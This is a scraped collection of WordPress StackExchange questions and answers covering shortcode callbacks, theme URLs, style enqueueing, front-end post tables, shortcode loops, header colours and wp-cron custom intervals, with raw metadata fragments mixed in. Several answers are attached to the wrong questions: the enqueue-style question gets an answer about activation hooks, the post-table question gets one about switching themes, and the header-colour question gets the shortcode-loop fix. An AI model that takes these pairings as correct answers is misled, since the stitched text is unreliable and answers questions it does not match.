My debug.log has the following message that points to /wp-includes/shortcodes.php on line 319, which is part of WordPress core and probably isn't where the real error is in the code. ``` PHP Deprecated: Non-static method RSSjbClass::RSSjb_funct() should not be called statically in /.../wp-includes/shortcodes.php on line 319 ``` I've looked at line 319 and it doesn't help me find or solve the problem. I searched the code and found this with the Class and funct but I don't know what is non-static being called statically. ``` /** * Add shortcode to wordpress */ // add_shortcode('RSSjb', 'RSSjb_funct'); add_shortcode('RSSjb', array('RSSjbClass', 'RSSjb_funct')); /** * Shortcode Class and Function */ class RSSjbClass { function RSSjb_funct($atts) { extract(shortcode_atts(array( // attributes for Google News "gsearch" => '', "topic" => '', "location" => '', "geo" => '', "feed" => '', // required "filter" => '', "num" => '5', "ltime" => '', "list" => 'ul', "target" => '_blank', "pubdate" => 'false', "pubtime" => 'false', "dformat" => get_option('date_format'), "tformat" => get_option('time_format'), "pubauthor" => 'true', "excerpt" => 'false', "charex" => '', "chartle" => '', "title" => '', "link" => 'false', "sort" => 'false', "cachefeed" => '3600' ), $atts)); ``` followed by several "ifs" and then ``` // call the function to read and display the feed items list return $tle . rssjb_List($feed, $filter, $num, $ltime, $list, $target, $pubdate, $pubtime, $dformat, $tformat, $pubauthor, $excerpt, $charex, $chartle, $sort, $cachefeed); } else { return '<br>RSS or Atom Feed URL not provided. This shortcode does require the attribute feed or location (if Google News).<br /> Ex: <code>[RSSjb feed = "http://your-rss-or-atom-feed-URL-here"]</code>.'; } } } ``` How do I modify that to fit with what is in /wp-includes/shortcodes.php line 319, which is: ``` $output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6]; /** * Filters the output created by a shortcode callback. * * @since 4.7.0 * * @param string $output Shortcode output. * @param string $tag Shortcode name. * @param array|string $attr Shortcode attributes array or empty string. * @param array $m Regular expression match array. */ return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m ); } ``` I searched the PHP Manual and it doesn't have anything about shortcodes.
Shortcodes are a WordPress thing, hence not being in the PHP manual. What you *do* want to look at in the PHP manual is the [section on callbacks](http://php.net/manual/en/language.types.callable.php). `add_shortcode()` accepts a shortcode name, and a *callback*. In that section of the PHP manual you can see the 3 main types of callbacks: ``` // Type 1: Simple callback call_user_func('my_callback_function'); // Type 2: Static class method call call_user_func(array('MyClass', 'myCallbackMethod')); // Type 3: Object method call $obj = new MyClass(); call_user_func(array($obj, 'myCallbackMethod')); ``` Your callback function for your shortcode is the 2nd type: ``` add_shortcode('RSSjb', array('RSSjbClass', 'RSSjb_funct')); ``` This is the same as calling `RSSjbClass::RSSjb_funct`, which is how you call a static method, but in your class the `RSSjb_funct()` method isn't defined statically: ``` function RSSjb_funct($atts) { ``` So the quickest fix is to define that method as `static`: ``` public static function RSSjb_funct($atts) { ``` The other option would be to add the shortcode within the class using `$this`, or to create an instance of the class and then use that in `add_shortcode()` like Type 3 above.
286,334
<p>I've recently uploaded my wordpress project to my web hosting and images arent showing properly, the source for the images is adding a %20 suffix to my theme directory.</p> <p>this is the error thats thrown in console</p> <pre><code> GET http://sixten.thrillcode.com/wp-content/themes/shapely%20/img/slideshow1.jpg 404 (Not Found) </code></pre> <p>it should be </p> <pre><code> http://sixten.thrillcode.com/wp-content/themes/shapely/img/slideshow1.jpg </code></pre> <p>in my php file it is written as</p> <pre><code> &lt;img class="mobile-image-full" src="&lt;?php echo get_template_directory_uri(); ?&gt;/img/slideshow1.jpg"&gt; &lt;/img&gt; </code></pre> <p>I cannot figure out what the issue is, if anyone could help i would be grateful.</p>
[ { "answer_id": 286335, "author": "Jefferson Silva", "author_id": 130008, "author_profile": "https://wordpress.stackexchange.com/users/130008", "pm_score": 3, "selected": true, "text": "<p>There's a space after the word \"shapely\". You must remove that, spaces and special characters are ...
2017/11/19
[ "https://wordpress.stackexchange.com/questions/286334", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131740/" ]
I've recently uploaded my wordpress project to my web hosting and images arent showing properly, the source for the images is adding a %20 suffix to my theme directory. this is the error thats thrown in console ``` GET http://sixten.thrillcode.com/wp-content/themes/shapely%20/img/slideshow1.jpg 404 (Not Found) ``` it should be ``` http://sixten.thrillcode.com/wp-content/themes/shapely/img/slideshow1.jpg ``` in my php file it is written as ``` <img class="mobile-image-full" src="<?php echo get_template_directory_uri(); ?>/img/slideshow1.jpg"> </img> ``` I cannot figure out what the issue is, if anyone could help i would be grateful.
There's a space after the word "shapely". You must remove that, spaces and special characters are encoded when used in URL's. Most probably this space is in the directory name, rename it and it will solve the problem
286,346
<p>I'm using the following to enqueu an admin style:</p> <pre><code>wp_enqueue_style('pk-admin-css', PULUGIN_URL . 'css/admin.css'); </code></pre> <p>This outputs the style file appended with the ?=ver parameter which results in the file loading with no content.</p> <p>I can fix this by removing that parameter like so:</p> <pre><code>wp_enqueue_style('pk-admin-css', PULUGIN_URL . 'css/admin.css', array(), null) </code></pre> <p>basically give it the version a nul value which removes it. My question though is.. The front-end style loads fine with that version number but why my admin style is not? Can someone explain this for me?</p> <p>Thank you.</p>
[ { "answer_id": 286345, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": true, "text": "<p>You don't have to use the <code>register_activation_hook</code> or <code>register_deactivation_hook</code> h...
2017/11/19
[ "https://wordpress.stackexchange.com/questions/286346", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131331/" ]
I'm using the following to enqueu an admin style: ``` wp_enqueue_style('pk-admin-css', PULUGIN_URL . 'css/admin.css'); ``` This outputs the style file appended with the ?=ver parameter which results in the file loading with no content. I can fix this by removing that parameter like so: ``` wp_enqueue_style('pk-admin-css', PULUGIN_URL . 'css/admin.css', array(), null) ``` basically give it the version a nul value which removes it. My question though is.. The front-end style loads fine with that version number but why my admin style is not? Can someone explain this for me? Thank you.
You don't have to use the `register_activation_hook` or `register_deactivation_hook` hook, they are optional. As their name suggests, they are hooks planned to run a task on plugin's activation/deactivation, such as updating the status of all users for some purpose. So, if your plugin doesn't require such tasks, then simply don't use them. If you want to register new post types and taxonomies, you can use the `init` hook instead.
286,382
<p>I want to create a table show all post, I use WP_query to get all iformatio and create table template to list my post. But my problem is only one post inside the table.. I want to include all in table.</p> <pre><code>$wpb_all_query = new WP_Query(array('post_type'=&gt;'vendor_management', 'post_status'=&gt;'new', 'posts_per_page'=&gt;-1)); ?&gt; &lt;?php if ( $wpb_all_query-&gt;have_posts() ) : ?&gt; &lt;table class="responstable"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;&lt;/th&gt; &lt;th&gt;Vendor Name&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;?php while ( $wpb_all_query-&gt;have_posts() ) : $wpb_all_query-&gt;the_post(); ?&gt; &lt;td&gt;&lt;input type="checkbox"/&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;?php endwhile; ?&gt; &lt;!-- end of the loop --&gt; &lt;?php wp_reset_postdata(); ?&gt; &lt;?php else : ?&gt; &lt;p&gt;&lt;?php _e( 'Sorry, no posts matched your criteria.' ); ?&gt;&lt;/p&gt; &lt;?php endif; ?&gt; </code></pre> <p>Basically, I want to create like admin table in backend which is showing all post include edit, delete, bulk delete into front end, Can any body tell me to do it. I have try to use WP_List_Table but not working if in frond end.</p>
[ { "answer_id": 286351, "author": "Apurba Podder", "author_id": 113734, "author_profile": "https://wordpress.stackexchange.com/users/113734", "pm_score": 0, "selected": false, "text": "<p>Yes, Absolutely you can switch themes on a fully built website. All data remain same. No need to rese...
2017/11/20
[ "https://wordpress.stackexchange.com/questions/286382", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/126689/" ]
I want to create a table show all post, I use WP\_query to get all iformatio and create table template to list my post. But my problem is only one post inside the table.. I want to include all in table. ``` $wpb_all_query = new WP_Query(array('post_type'=>'vendor_management', 'post_status'=>'new', 'posts_per_page'=>-1)); ?> <?php if ( $wpb_all_query->have_posts() ) : ?> <table class="responstable"> <thead> <tr> <th></th> <th>Vendor Name</th> </tr> </thead> <tbody> <tr> <?php while ( $wpb_all_query->have_posts() ) : $wpb_all_query->the_post(); ?> <td><input type="checkbox"/></td> <td><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></td> </tr> </tbody> </table> <?php endwhile; ?> <!-- end of the loop --> <?php wp_reset_postdata(); ?> <?php else : ?> <p><?php _e( 'Sorry, no posts matched your criteria.' ); ?></p> <?php endif; ?> ``` Basically, I want to create like admin table in backend which is showing all post include edit, delete, bulk delete into front end, Can any body tell me to do it. I have try to use WP\_List\_Table but not working if in frond end.
The rule of thumb is that the more complex your theme is, the harder it will be to replace it with another. Themes should be only about styling your content, nothing more, and everything relating to content itself should be handled in plugins. Unfortunately, most people think that all themes should come with everything and a kitchen sink, and therefor most themes are not doing styling only, and therefor are hard(er) to replace. Regarding your current situation, it is hard to say anything concrete without actually understanding the nature of your problems, but yes if you have used in your content a theme specific shortcodes or other kinds of styling, you will need to adjust your content to play nice with a new theme.
286,411
<pre><code>function blog_post_home_shortcode() { $query = new WP_Query( array( 'post_type' =&gt; 'post', 'order' =&gt; 'DESC', 'post_status' =&gt; ' publish', 'posts_per_page' =&gt; 3 )); while ($query-&gt;have_posts()): $query-&gt;the_post(); $blog = get_the_title(); return $blog; endwhile; wp_reset_postdata(); } add_shortcode('blogs_home', 'blog_post_home_shortcode'); </code></pre> <p>returns only one title while in WP_Query I have set <code>posts_per_page =&gt; 3</code> I want to display all 3 title of last published posts.</p>
[ { "answer_id": 286413, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": -1, "selected": true, "text": "<p>You may please update your code as follows </p>\n\n<pre><code> function blog_post_home_shortcode() {\n...
2017/11/20
[ "https://wordpress.stackexchange.com/questions/286411", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128369/" ]
``` function blog_post_home_shortcode() { $query = new WP_Query( array( 'post_type' => 'post', 'order' => 'DESC', 'post_status' => ' publish', 'posts_per_page' => 3 )); while ($query->have_posts()): $query->the_post(); $blog = get_the_title(); return $blog; endwhile; wp_reset_postdata(); } add_shortcode('blogs_home', 'blog_post_home_shortcode'); ``` returns only one title while in WP\_Query I have set `posts_per_page => 3` I want to display all 3 title of last published posts.
You may please update your code as follows ``` function blog_post_home_shortcode() { $query = new WP_Query( array( 'post_type' => 'post', 'order' => 'DESC', 'post_status' => ' publish', 'posts_per_page' => 3 )); while ($query->have_posts()): $query->the_post(); $blog = get_the_title(); echo $blog; endwhile; wp_reset_postdata(); } add_shortcode('blogs_home', 'blog_post_home_shortcode'); ``` Please check the above code and let me know if it works for you.
286,416
<p>Please refer to website: <a href="https://virginiafrank.com" rel="nofollow noreferrer">https://virginiafrank.com</a> I cannot get the top header background color (or phone numbers) to change color. I would prefer the background gold and text black. I can't make that work either. Please someone help me. </p>
[ { "answer_id": 286413, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": -1, "selected": true, "text": "<p>You may please update your code as follows </p>\n\n<pre><code> function blog_post_home_shortcode() {\n...
2017/11/20
[ "https://wordpress.stackexchange.com/questions/286416", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131784/" ]
Please refer to website: <https://virginiafrank.com> I cannot get the top header background color (or phone numbers) to change color. I would prefer the background gold and text black. I can't make that work either. Please someone help me.
You may please update your code as follows ``` function blog_post_home_shortcode() { $query = new WP_Query( array( 'post_type' => 'post', 'order' => 'DESC', 'post_status' => ' publish', 'posts_per_page' => 3 )); while ($query->have_posts()): $query->the_post(); $blog = get_the_title(); echo $blog; endwhile; wp_reset_postdata(); } add_shortcode('blogs_home', 'blog_post_home_shortcode'); ``` Please check the above code and let me know if it works for you.
286,419
<p>I created a wp cron event with a custom interval of 5 minutes, but it is only executed hourly instead of every 5 minutes. (The callback is properly executed.)</p> <p><a href="https://i.stack.imgur.com/hDeUJ.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hDeUJ.jpg" alt="screenshot from wp crontrol plugin"></a></p> <p>The DISABLE_WP_CRON constant is set to true, wp-cron.php is called via crontab every 5 minutes. (<a href="https://developer.wordpress.org/plugins/cron/hooking-into-the-system-task-scheduler/" rel="nofollow noreferrer">https://developer.wordpress.org/plugins/cron/hooking-into-the-system-task-scheduler/</a>)</p> <p>No errors in debug.log (WP_DEBUG set to true).</p> <p>I created my plugin with the wordpress plugin boilderplate generator (<a href="https://wppb.me/" rel="nofollow noreferrer">https://wppb.me/</a>).</p> <p>My code (in class Wp_Goldprice_Activator, function activate()):</p> <pre><code> function fetch_metal_prices_recurrence( $schedules ) { $schedules['every_five_minutes'] = array( 'display' =&gt; 'every 5 minutes', 'interval' =&gt; 300 ); return $schedules; } add_filter( 'cron_schedules', 'fetch_metal_prices_recurrence' ); // Schedule custom-interval Cron Job Event if ( ! wp_next_scheduled ( GPR_PLUGIN_NAME . '_fetch_metal_prices' )) { wp_schedule_event( current_time( 'timestamp' ), 'every_five_minutes', GPR_PLUGIN_NAME . '_fetch_metal_prices' ); } // Schedule hourly Cron Job Event if ( ! wp_next_scheduled ( GPR_PLUGIN_NAME . '_fetch_metal_prices_reschedule' )) { wp_schedule_event( current_time( 'timestamp' ), 'hourly', GPR_PLUGIN_NAME . '_fetch_metal_prices_reschedule' ); } } </code></pre> <p>I am rescheduling the 5 minute event every hour, because it disappears after first automatic execution (not on manual execution, though!). The hourly event doesn't disappear (on automatic execution). I couldn't find a reason or solution for that, either. This might be involved in the problem, but still, wp_next_scheduled() immediately returns a time which is 1 hour in the future, not 5.</p> <p>I am aware, this question has been asked before, but no working solution has been proposed (and posted years ago):</p> <ul> <li><a href="https://wordpress.stackexchange.com/questions/38979/wp-schedule-event-cron-schedules-custom-recurrence-time-not-working-in-plugi">wp_schedule_event / cron_schedules - custom recurrence time not working in Plugin</a></li> <li><a href="https://wordpress.stackexchange.com/questions/141101/custom-interval-is-not-working">Custom interval is not working</a></li> <li><a href="https://wordpress.stackexchange.com/questions/141328/custom-cron-interval-is-not-working">custom cron interval is not working</a></li> </ul> <p>Any thoughts on that would be greatly appreciated, I am out of ideas.</p>
[ { "answer_id": 305977, "author": "Shwky Fareed", "author_id": 143913, "author_profile": "https://wordpress.stackexchange.com/users/143913", "pm_score": -1, "selected": false, "text": "<p>I know that this answer may not help you now because it's too late :)\nBut here's a full example for ...
2017/11/20
[ "https://wordpress.stackexchange.com/questions/286419", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124308/" ]
I created a wp cron event with a custom interval of 5 minutes, but it is only executed hourly instead of every 5 minutes. (The callback is properly executed.) [![screenshot from wp crontrol plugin](https://i.stack.imgur.com/hDeUJ.jpg)](https://i.stack.imgur.com/hDeUJ.jpg) The DISABLE\_WP\_CRON constant is set to true, wp-cron.php is called via crontab every 5 minutes. (<https://developer.wordpress.org/plugins/cron/hooking-into-the-system-task-scheduler/>) No errors in debug.log (WP\_DEBUG set to true). I created my plugin with the wordpress plugin boilderplate generator (<https://wppb.me/>). My code (in class Wp\_Goldprice\_Activator, function activate()): ``` function fetch_metal_prices_recurrence( $schedules ) { $schedules['every_five_minutes'] = array( 'display' => 'every 5 minutes', 'interval' => 300 ); return $schedules; } add_filter( 'cron_schedules', 'fetch_metal_prices_recurrence' ); // Schedule custom-interval Cron Job Event if ( ! wp_next_scheduled ( GPR_PLUGIN_NAME . '_fetch_metal_prices' )) { wp_schedule_event( current_time( 'timestamp' ), 'every_five_minutes', GPR_PLUGIN_NAME . '_fetch_metal_prices' ); } // Schedule hourly Cron Job Event if ( ! wp_next_scheduled ( GPR_PLUGIN_NAME . '_fetch_metal_prices_reschedule' )) { wp_schedule_event( current_time( 'timestamp' ), 'hourly', GPR_PLUGIN_NAME . '_fetch_metal_prices_reschedule' ); } } ``` I am rescheduling the 5 minute event every hour, because it disappears after first automatic execution (not on manual execution, though!). The hourly event doesn't disappear (on automatic execution). I couldn't find a reason or solution for that, either. This might be involved in the problem, but still, wp\_next\_scheduled() immediately returns a time which is 1 hour in the future, not 5. I am aware, this question has been asked before, but no working solution has been proposed (and posted years ago): * [wp\_schedule\_event / cron\_schedules - custom recurrence time not working in Plugin](https://wordpress.stackexchange.com/questions/38979/wp-schedule-event-cron-schedules-custom-recurrence-time-not-working-in-plugi) * [Custom interval is not working](https://wordpress.stackexchange.com/questions/141101/custom-interval-is-not-working) * [custom cron interval is not working](https://wordpress.stackexchange.com/questions/141328/custom-cron-interval-is-not-working) Any thoughts on that would be greatly appreciated, I am out of ideas.
Maybe someone will make use of it, I had a similar problem and the solution was to call `time()` instead of `current_time( 'timestamp' )` as the first argument of `wp_schedule_event()`. So it should look like this: `wp_schedule_event( time(), 'custom_interval', 'custom_hook' );` I tried to find a difference between time and current\_time('timestamp'), but they appear to return the same output, int unix time.